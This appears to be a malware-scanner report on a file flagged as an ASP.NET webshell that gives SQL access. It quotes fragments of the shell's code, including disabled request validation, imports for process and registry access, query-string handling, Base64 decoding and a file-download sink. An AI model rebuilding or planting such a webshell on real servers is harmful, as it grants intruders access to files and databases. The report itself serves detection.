Suspicious ^75% Download

94a0e2585945b2dd1263d360d85405e2bf16186ac56bbd5c3a35a02128b732f1.unknown

ASP webshell giving SQL access. Might also be a dual use tool.Creates DOM element

SHA-25694a0e2585945b2dd1263d360d85405e2bf16186ac56bbd5c3a35a02128b732f1

Evidence

ASP webshell giving SQL access. Might also be a dual use tool. lines 1–16

1<%@ Page Language="C#"   trace="false" EnableViewStateMac="false"  validateRequest="false"  enableEventValidation="false" %>
2<%@ import Namespace="System.Collections.Generic"%> 
3<%@ import Namespace="System.Web.Services"%> 
4<%@ import Namespace="System.Web"%> 
5<%@ import Namespace="System.IO"%> 
6<%@ import Namespace="System"%> 
7<%@ import Namespace="System.Net" %>
8<%@ import Namespace="System.Diagnostics"%> 
9<%@ Import Namespace="System.Data.SqlClient"%>
10<%@ import Namespace="Microsoft.Win32"%>
11<%@ import Namespace="System.Management"%>
⋯5 lines

Matches 'HttpContexts' lines 237–243

2…        }
      msgs.Text = "";        
      
     if (Request.QueryString["Name"] != null || Request.QueryString["Name"] != "")
     {
         string temp = Request.QueryString["Name"];
      …

Reads an ASP.NET request parameter lines 263–270

13… IsPostBack)
      {
         
          string evarg = Request["__EVENTTARGET"];
          string args = Request["__ARGS"];
          
        //  Page.Title = evarg;
          if  …

.NET FromBase64String method reference lines 536–540

50… der.GetDecoder();
537
          byte[] todecode_byte = Convert.FromBase64String(data);
          int charCount = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length);
          char[] decode …

ASP.NET Response.Write response sink lines 878–883

13… Page.Response.ContentType = "application/unknown";
          Response.WriteFile(fs.FullName);
          Page.Response.Flush();
          Page.Response.Close();
          Response.End();
      …